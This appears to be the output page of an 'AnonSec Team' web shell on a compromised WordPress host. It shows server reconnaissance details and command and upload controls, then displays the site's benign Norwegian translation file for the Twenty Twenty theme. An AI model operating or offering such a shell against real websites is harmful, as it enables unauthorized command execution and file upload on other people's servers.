AnonSec Team
Server IP : 10.131.40.8  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : ludmqhh ( 137773)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ludmqhh/www/guillaume/wp-content/languages/themes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ludmqhh/www/guillaume/wp-content/languages/themes/twentytwenty-nb_NO.po
# Translation of Themes - Twenty Twenty in Norwegian (Bokmål)
# This file is distributed under the same license as the Themes - Twenty Twenty package.
msgid ""
msgstr ""
"PO-Revision-Date: 2021-01-07 13:12:08+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.0-alpha.1\n"
"Language: nb_NO\n"
"Project-Id-Version: Themes - Twenty Twenty\n"

#. Description of the theme
#, gp-priority: high
msgid "Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor. Organizations and businesses have the ability to create dynamic landing pages with endless layouts using the group and column blocks. The centered content column and fine-tuned typography also makes it perfect for traditional blogs. Complete editor styles give you a good idea of what your content will look like, even before you publish. You can give your site a personal touch by changing the background colors and the accent color in the Customizer. The colors of all elements on your site are automatically calculated based on the colors you pick, ensuring a high, accessible color contrast for your visitors."
msgstr "Vårt standardtema for 2020 er designet for å fullt utnytte fleksibiliteten til blokkredigeringsverktøyet. Organisasjoner og firmaer har muligheten til å lage dynamiske landingssider med uendelige muligheter for oppsett ved å bruke gruppe- og kolonneblokker. Den sentrerte innholdskolonnen og finjusterte typografien gjør det også perfekt for tradisjonelle blogger. Komplette stiler i redigeringsverktøyet gir deg en god idé om hvordan innholdet ditt vil se ut, selv før du publiserer. Du kan gi nettsiden din et personlig preg ved å bytte bakgrunnsfarge og aksentfarge i Tilpasseren. Fargene på alle elementene på nettsiden blir automatisk utregnet basert på fargene du velger, noe som sikrer en høy, tilgjengelig fargekontrast for dine besøkende."

#. Theme Name of the theme
#: inc/block-patterns.php:20
#, gp-priority: high
msgid "Twenty Twenty"
msgstr "Twenty Twenty"

#: classes/class-twentytwenty-customize.php:131
msgctxt "color"
msgid "Custom"
msgstr "Tilpasset"

#: classes/class-twentytwenty-customize.php:130
msgctxt "color"
msgid "Default"
msgstr "Standard"

#: inc/block-patterns.php:197
msgid "With seven floors of striking architecture, UMoMA shows exhibitions of international contemporary art, sometimes along with art historical retrospectives. Existential, political, and philosophical issues are intrinsic to our program. As visitor, you are invited to guided tours artist talks, lectures, film screenings, and other events with free admission."
msgstr "Med sju etasjer slående akritektur, viser UMoMA utstillinger av internasjonal samtidskunst, noen ganger sammen med historiske tilbakeblikk. Eksistensielle, politiske og filosofiske emner er inkludert i vårt ptogram. Som bsøkende er du invitert til omvisninger, kunstnerforedrag, filmvisninger og andre arrangementer med gratis inngang."

#: inc/block-patterns.php:194
msgid "The Premier Destination for Modern Art in Sweden"
msgstr "Den viktigste destinasjonen for moderne kunst i Sverige"

#: inc/block-patterns.php:187
msgid "Introduction"
msgstr "Innledning"

#: inc/block-patterns.php:157 inc/block-patterns.php:171
msgid "August 1 — December 1"
msgstr "1. august -- 1. desember"

#: inc/block-patterns.php:151 inc/block-patterns.php:165
msgid "Abstract Rectangles"
msgstr "Abstrakte rektangler"

#: inc/block-patterns.php:142
msgid "Featured Content"
msgstr "Fremhevet innhold"

#: inc/block-patterns.php:128
msgid "<em>Price</em><br>Included"
msgstr "<em>Pris</em><br>inkludert"

#: inc/block-patterns.php:123
msgid "<em>Location</em><br>Exhibit Hall B"
msgstr "<em>Sted</em><br>Utstillingshall B"

#: inc/block-patterns.php:118
msgid "<em>Dates</em><br>Aug 1 — Dec 1"
msgstr "<em>Datoer</em><br>1. aug — 1. des"

#: inc/block-patterns.php:108
msgid "Event Details"
msgstr "Arrangementsdetaljer"

#: inc/block-patterns.php:93
msgid "Shop Now"
msgstr "Handle nå"

#: inc/block-patterns.php:89
msgid "An awe-inspiring collection of books, prints, and gifts from our exhibitions."
msgstr "En inspirerende samlign av bøker, opptrykk ig gaver fra våre utstillinger."

#: inc/block-patterns.php:86
msgid "The Store"
msgstr "Butikken"

#: inc/block-patterns.php:74
msgid "Award-winning exhibitions featuring internationally-renowned artists."
msgstr "Prisvinnende utstillinger med internasjonaklt kjente kunstnere."

#: inc/block-patterns.php:71
msgid "The Museum"
msgstr "Museet"

#: inc/block-patterns.php:61
msgid "Double Call to Action"
msgstr "Dobbel handlingsdriver"

#: inc/block-patterns.php:48
msgid "Become a Member"
msgstr "Bli medlem"

#: inc/block-patterns.php:42
msgid "Support the Museum and Get Exclusive Offers"
msgstr "Støtt museet og få eksklusive tilbud"

#: inc/block-patterns.php:33
msgid "Call to Action"
msgstr "Handligsdriver"

#: template-parts/modal-menu.php:73
msgctxt "menu"
msgid "Mobile"
msgstr "Mobil"

#: template-parts/modal-menu.php:48
msgctxt "menu"
msgid "Expanded"
msgstr "Utvidet"

#: header.php:88
msgctxt "menu"
msgid "Horizontal"
msgstr "Horisontal"

#: header.php:53 header.php:157
msgctxt "toggle text"
msgid "Search"
msgstr "Søk"

#: functions.php:526
msgctxt "color"
msgid "Secondary"
msgstr "Sekundær"

#: functions.php:521
msgctxt "color"
msgid "Primary"
msgstr "Primær"

#: index.php:51
msgid "Nothing Found"
msgstr "Intet funnet"

#: classes/class-twentytwenty-customize.php:251
msgid "Show author bio"
msgstr "Vis forfatterbeskrivelse"

#: template-parts/entry-author-bio.php:29
msgid "View Archive <span aria-hidden=\"true\">&rarr;</span>"
msgstr "Se arkiv <span aria-hidden=\"true\">&rarr;</span>"

#: inc/starter-content.php:39
msgctxt "Theme starter content"
msgid "The New UMoMA Opens its Doors"
msgstr "Den nye UMoMA åpner sine dører"

#: inc/template-tags.php:414
msgctxt "A string that is output before one or more categories"
msgid "In"
msgstr "I"

#: inc/starter-content.php:151
msgid "Join the Club"
msgstr "Bli med i klubben"

#: inc/block-patterns.php:45 inc/starter-content.php:148
msgid "Members get access to exclusive exhibits and sales. Our memberships cost $99.99 and are billed annually."
msgstr "Medlemmer får tilgang til eksklusive utstillinger og salg. Våre medlemsskap koster $99.99 og blir fakturert årlig."

#: inc/starter-content.php:145
msgid "Become a Member and Get Exclusive Offers!"
msgstr "Bli medlem og motta eksklusive tilbud!"

#: inc/starter-content.php:137
msgid "The exhibitions are produced by UMoMA in collaboration with artists and museums around the world and they often attract international attention. UMoMA has received a Special Commendation from the European Museum of the Year, and was among the top candidates for the Swedish Museum of the Year Award as well as for the Council of Europe Museum Prize."
msgstr "Utstillingene produseres av UMoMA i samarbeid med kunstnere og museer rundt i verden og de får ofte internasjonal oppmerksomhet. UMoMA har mottatt en «Special Commendation» fra «Årets europeiske museum», og var blant toppkandidatene til å bli «Årets svenske museum» og også for Europarådets museumspris."

#: inc/starter-content.php:134
msgid "With seven floors of striking architecture, UMoMA shows exhibitions of international contemporary art, sometimes along with art historical retrospectives. Existential, political and philosophical issues are intrinsic to our programme. As visitor you are invited to guided tours artist talks, lectures, film screenings and other events with free admission"
msgstr "I sine syv etasjer med imponerende arkitektur viser UMoMA utstillinger med internasjonal samtidskunst, noen ganger sammen med kunsthistorisk retrospektiv. Eksistensielle, politiske og filosofiske spørsmål er en iboende del av vårt program. Som besøkende er du invitert til guidede turer, kunstnersamtaler, foredrag, filmvisning og andre arrangement med gratis inngang"

#: inc/starter-content.php:130
msgid "&#8220;Cyborgs, as the philosopher Donna Haraway established, are not reverent. They do not remember the cosmos.&#8221;"
msgstr "«Kyborger har, som slått fast av filosofen Donna Haraway, ikke ærefrykt. De husker ikke kosmos.»"

#: inc/starter-content.php:114
msgid "From Signac to Matisse"
msgstr "Fra Signac til Matisse"

#: inc/block-patterns.php:168 inc/starter-content.php:99
msgid "The Life I Deserve"
msgstr "Det livet jeg fortjener"

#: inc/starter-content.php:85 inc/starter-content.php:117
msgid "October 1 -- December 1"
msgstr "1. oktober -- 1. desember"

#: inc/starter-content.php:82
msgid "Theatre of Operations"
msgstr "Operasjonsteater"

#: inc/block-patterns.php:78 inc/block-patterns.php:160
#: inc/block-patterns.php:174 inc/starter-content.php:73
#: inc/starter-content.php:88 inc/starter-content.php:105
#: inc/starter-content.php:120
msgid "Read More"
msgstr "Les mer"

#: inc/starter-content.php:70 inc/starter-content.php:102
msgid "August 1 -- December 1"
msgstr "1. august -- 1. desember"

#: inc/block-patterns.php:154 inc/starter-content.php:67
msgid "Works and Days"
msgstr "Verker og dager"

#: inc/starter-content.php:56
msgid "The premier destination for modern art in Northern Sweden. Open from 10 AM to 6 PM every day during the summer months."
msgstr "Hovedattraksjonen for moderne kunst i Nord-Sverige. Åpen fra 10 til 18 hver dag i sommermånedene."

#: inc/starter-content.php:48
msgid "The New UMoMA Opens its Doors"
msgstr "Den nye UMoMA åpner sine dører"

#: classes/class-twentytwenty-customize.php:400
msgid "Overlay Opacity"
msgstr "Ugjennomsiktighet av overlegg"

#: classes/class-twentytwenty-customize.php:380
msgid "The color used for the text in the overlay."
msgstr "Fargen brukt på teksten i overlegget."

#: classes/class-twentytwenty-customize.php:379
msgid "Overlay Text Color"
msgstr "Tekstfarge for overlegg"

#: classes/class-twentytwenty-customize.php:358
msgid "The color used for the overlay. Defaults to the accent color."
msgstr "Fargen brukt på overlegget. Standard er samme som aksentfargen."

#: classes/class-twentytwenty-customize.php:357
msgid "Overlay Background Color"
msgstr "Bakgrunnsfarge for overlegg"

#: classes/class-twentytwenty-customize.php:288
msgid "Settings for the \"Cover Template\" page template. Add a featured image to use as background."
msgstr "Innstilllinger for sidemalen \"Omslagsmal\". Legg til ett fremhevet bilde å bruke som bakgrunn."

#: classes/class-twentytwenty-customize.php:188
msgid "Apply a custom color for links, buttons, featured images."
msgstr "Bruk en tilpasset farge for lenker, knapper og fremhevede bilder."

#: classes/class-twentytwenty-customize.php:128
msgid "Primary Color"
msgstr "Primærfarge"

#: searchform.php:28 template-parts/modal-search.php:20
msgid "Search for:"
msgstr "Søk etter:"

#: index.php:101
msgid "search again"
msgstr "søk igjen"

#. translators: %s: Number of search results.
#: index.php:39
msgid "We found %s result for your search."
msgid_plural "We found %s results for your search."
msgstr[0] "Vi fant %s resultat for ditt søk."
msgstr[1] "Vi fant %s resultater for ditt søk."

#. translators: %s: HTML character for up arrow.
#: footer.php:55
msgid "Up %s"
msgstr "Opp %s"

#. translators: %s: HTML character for up arrow.
#: footer.php:49
msgid "To the top %s"
msgstr "Til toppen %s"

#. translators: Copyright date format, see
#. https://www.php.net/manual/datetime.format.php
#: footer.php:25
msgctxt "copyright date format"
msgid "Y"
msgstr "Y"

#: 404.php:24
msgid "404 not found"
msgstr "404 ikke funnet"

#. Template Name of the theme
msgid "Full Width Template"
msgstr "Mal for full bredde"

#. Translators: This text contains HTML to allow the text to be shorter on
#. small screens. The text inside the span with the class nav-short will be
#. hidden on small screens.
#: template-parts/pagination.php:27
msgid "Older <span class=\"nav-short\">Posts</span>"
msgstr "Eldre <span class=\"nav-short\">innlegg</span>"

#. Translators: This text contains HTML to allow the text to be shorter on
#. small screens. The text inside the span with the class nav-short will be
#. hidden on small screens.
#: template-parts/pagination.php:19
msgid "Newer <span class=\"nav-short\">Posts</span>"
msgstr "Nyere <span class=\"nav-short\">innlegg</span>"

#: template-parts/navigation.php:25
msgid "Post"
msgstr "Innlegg"

#: template-parts/modal-search.php:26
msgid "Close search"
msgstr "Lukk søk"

#: template-parts/modal-menu.php:117
msgid "Expanded Social links"
msgstr "Utvidede sosiale lenker"

#: template-parts/modal-menu.php:21
msgid "Close Menu"
msgstr "Lukk meny"

#: template-parts/footer-menus-widgets.php:57
msgid "Social links"
msgstr "Sosiale lenker"

#: template-parts/footer-menus-widgets.php:37
msgid "Footer"
msgstr "Sidebunn"

#. translators: %s: Author name.
#: inc/template-tags.php:375 template-parts/entry-author-bio.php:20
msgid "By %s"
msgstr "Av %s"

#: template-parts/content-cover.php:138 template-parts/content.php:48
msgid "Pages:"
msgstr "Sider:"

#: template-parts/content-cover.php:138 template-parts/content.php:48
msgid "Page"
msgstr "Side"

#: template-parts/content-cover.php:88
msgid "Scroll Down"
msgstr "Rull ned"

#: searchform.php:31
msgctxt "submit button"
msgid "Search"
msgstr "Søk"

#: searchform.php:29
msgctxt "placeholder"
msgid "Search &hellip;"
msgstr "Søk &hellip;"

#: index.php:48
msgid "We could not find any results for your search. You can give it another try through the search form below."
msgstr "Vi kunne ikke finne noen resultater for ditt søk. Du kan prøve igjen ned søkeskjemaet nedenfor."

#: index.php:32
msgid "Search:"
msgstr "Søk:"

#. translators: %s: Post title. Only visible to screen readers.
#: inc/template-tags.php:223
msgid "Edit <span class=\"screen-reader-text\">%s</span>"
msgstr "Rediger <span class=\"screen-reader-text\">%s</span>"

#: inc/template-tags.php:466
msgid "Sticky post"
msgstr "Klebrig innlegg"

#: inc/template-tags.php:428
msgid "Tags"
msgstr "Stikkord"

#: inc/template-tags.php:410 template-parts/content-cover.php:70
#: template-parts/entry-header.php:36
msgid "Categories"
msgstr "Kategorier"

#: inc/template-tags.php:392
msgid "Post date"
msgstr "Publiseringsdato"

#: inc/template-tags.php:368
msgid "Post author"
msgstr "Innleggsforfatter"

#: inc/starter-content.php:197
msgid "Social Links Menu"
msgstr "Sosiale medier-meny"

#: inc/starter-content.php:177 inc/starter-content.php:187
msgid "Primary"
msgstr "Primær"

#: header.php:76 header.php:137
msgid "Menu"
msgstr "Meny"

#: template-parts/modal-search.php:11
msgid "Search"
msgstr "Søk"

#: template-parts/content.php:36
msgid "Continue reading"
msgstr "Fortsett å lese"

#: functions.php:578
msgctxt "Short name of the larger font size in the block editor."
msgid "XL"
msgstr "XL"

#: functions.php:577
msgctxt "Name of the larger font size in the block editor"
msgid "Larger"
msgstr "Større"

#: functions.php:572
msgctxt "Short name of the large font size in the block editor."
msgid "L"
msgstr "L"

#: functions.php:571
msgctxt "Name of the large font size in the block editor"
msgid "Large"
msgstr "Stor"

#: functions.php:566
msgctxt "Short name of the regular font size in the block editor."
msgid "M"
msgstr "M"

#: functions.php:565
msgctxt "Name of the regular font size in the block editor"
msgid "Regular"
msgstr "Vanlig"

#: functions.php:560
msgctxt "Short name of the small font size in the block editor."
msgid "S"
msgstr "S"

#: functions.php:559
msgctxt "Name of the small font size in the block editor"
msgid "Small"
msgstr "Liten"

#: functions.php:544
msgid "Background Color"
msgstr "Bakgrunnsfarge"

#: functions.php:531
msgid "Subtle Background"
msgstr "Subtil bakgrunn"

#: functions.php:516
msgid "Accent Color"
msgstr "Aksentfarge"

#: functions.php:403
msgid "Widgets in this area will be displayed in the second column in the footer."
msgstr "Widgeter i dette området vi bli vist i den andre kolonnen i sidebunnen."

#: functions.php:401
msgid "Footer #2"
msgstr "Bunnfelt 2"

#: functions.php:391
msgid "Widgets in this area will be displayed in the first column in the footer."
msgstr "Widgeter i dette området vil vist i den første kolonnen i sidebunnen."

#: functions.php:389
msgid "Footer #1"
msgstr "Bunnfelt 1"

#: functions.php:362
msgid "Skip to the content"
msgstr "Hopp til innholdet"

#: functions.php:277
msgid "Social Menu"
msgstr "Sosial meny"

#: functions.php:276
msgid "Footer Menu"
msgstr "Meny i sidebunnen"

#: functions.php:275
msgid "Mobile Menu"
msgstr "Meny for mobilelefon"

#: functions.php:274
msgid "Desktop Expanded Menu"
msgstr "Utvidet meny for skrivebord"

#: functions.php:273
msgid "Desktop Horizontal Menu"
msgstr "Horisontal meny for skrivebord"

#: footer.php:39
msgid "Powered by WordPress"
msgstr "Drevet av WordPress"

#: comments.php:127
msgid "Comments are closed."
msgstr "Det er stengt for kommentarer."

#: comments.php:88
msgid "Comments"
msgstr "Kommentarer"

#: comments.php:75
msgid "Older Comments"
msgstr "Eldre kommentarer"

#: comments.php:74
msgid "Newer Comments"
msgstr "Nyere kommentarer"

#. translators: 1: Number of comments, 2: Post title.
#: comments.php:41
msgctxt "comments title"
msgid "%1$s reply on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s replies on &ldquo;%2$s&rdquo;"
msgstr[0] "%1$s svar til &ldquo;%2$s&rdquo;"
msgstr[1] "%1$s svar til &ldquo;%2$s&rdquo;"

#. translators: %s: Post title.
#: comments.php:37
msgctxt "comments title"
msgid "One reply on &ldquo;%s&rdquo;"
msgstr "Ett svar til &ldquo;%s&rdquo;"

#: comments.php:34
msgid "Leave a comment"
msgstr "Legg igjen en kommentar"

#: classes/class-twentytwenty-walker-page.php:115 inc/template-tags.php:580
msgid "Show sub menu"
msgstr "Vis undermeny"

#. translators: %d: ID of a post.
#: classes/class-twentytwenty-walker-page.php:78
msgid "#%d (no title)"
msgstr "#%d (ingen tittel)"

#: classes/class-twentytwenty-walker-comment.php:137
msgid "By Post Author"
msgstr "Av innleggsforfatter"

#: classes/class-twentytwenty-walker-comment.php:102
msgid "Your comment is awaiting moderation."
msgstr "Din kommentar venter på moderering."

#: classes/class-twentytwenty-walker-comment.php:86
msgid "Edit"
msgstr "Rediger"

#. translators: 1: Comment date, 2: Comment time.
#: classes/class-twentytwenty-walker-comment.php:72
msgid "%1$s at %2$s"
msgstr "%1$s kl %2$s"

#: classes/class-twentytwenty-walker-comment.php:60
msgid "says:"
msgstr "sier:"

#: classes/class-twentytwenty-customize.php:401
msgid "Make sure that the contrast is high enough so that the text is readable."
msgstr "Sørg for at kontrasten er høy nok slik at teksten er lesbar."

#: classes/class-twentytwenty-customize.php:311
msgid "Creates a parallax effect when the visitor scrolls."
msgstr "Lager en parallakse-effekt når den besøkende ruller."

#: classes/class-twentytwenty-customize.php:310
msgid "Fixed Background Image"
msgstr "Festet bakgrunnsbilde"

#. Template Name of the theme
#: classes/class-twentytwenty-customize.php:286
msgid "Cover Template"
msgstr "Mal for omslag"

#: classes/class-twentytwenty-customize.php:275
msgid "Summary"
msgstr "Sammendrag"

#: classes/class-twentytwenty-customize.php:274
msgid "Full text"
msgstr "Full tekst"

#: classes/class-twentytwenty-customize.php:272
msgid "On archive pages, posts show:"
msgstr "På arkivsider viser innlegg:"

#: classes/class-twentytwenty-customize.php:230
msgid "Show search in header"
msgstr "Vis søk i sidehodet"

#: classes/class-twentytwenty-customize.php:207
msgid "Theme Options"
msgstr "Temavalg"

#: classes/class-twentytwenty-customize.php:106
msgid "Header &amp; Footer Background Color"
msgstr "Bakgrunnsfarge for sidetopp og sidebunn"

#: classes/class-twentytwenty-customize.php:87
msgid "Scales the logo to half its uploaded size, making it sharp on high-res screens."
msgstr "Skalerer logoen til halve sin opplastede størrelse, slik at den blir skarp på skjermer med høy oppløsning."

#: classes/class-twentytwenty-customize.php:86
msgid "Retina logo"
msgstr "Retina-logo"

#: 404.php:19
msgid "The page you were looking for could not be found. It might have been removed, renamed, or did not exist in the first place."
msgstr "Siden du så etter be ikke funnet. Den kan være fjernet, fått nytt navn eller har aldri eksistert."

#: 404.php:17
msgid "Page Not Found"
msgstr "Side ikke funnet"

#. Author URI of the theme
#: footer.php:38
#, gp-priority: low
msgid "https://wordpress.org/"
msgstr "https://nb.wordpress.org/"

#. Author of the theme
#, gp-priority: low
msgid "the WordPress team"
msgstr "WordPress-gjengen"

#. Theme URI of the theme
#, gp-priority: low
msgid "https://wordpress.org/themes/twentytwenty/"
msgstr "https://nb.wordpress.org/themes/twentytwenty/"

AnonSec - 2021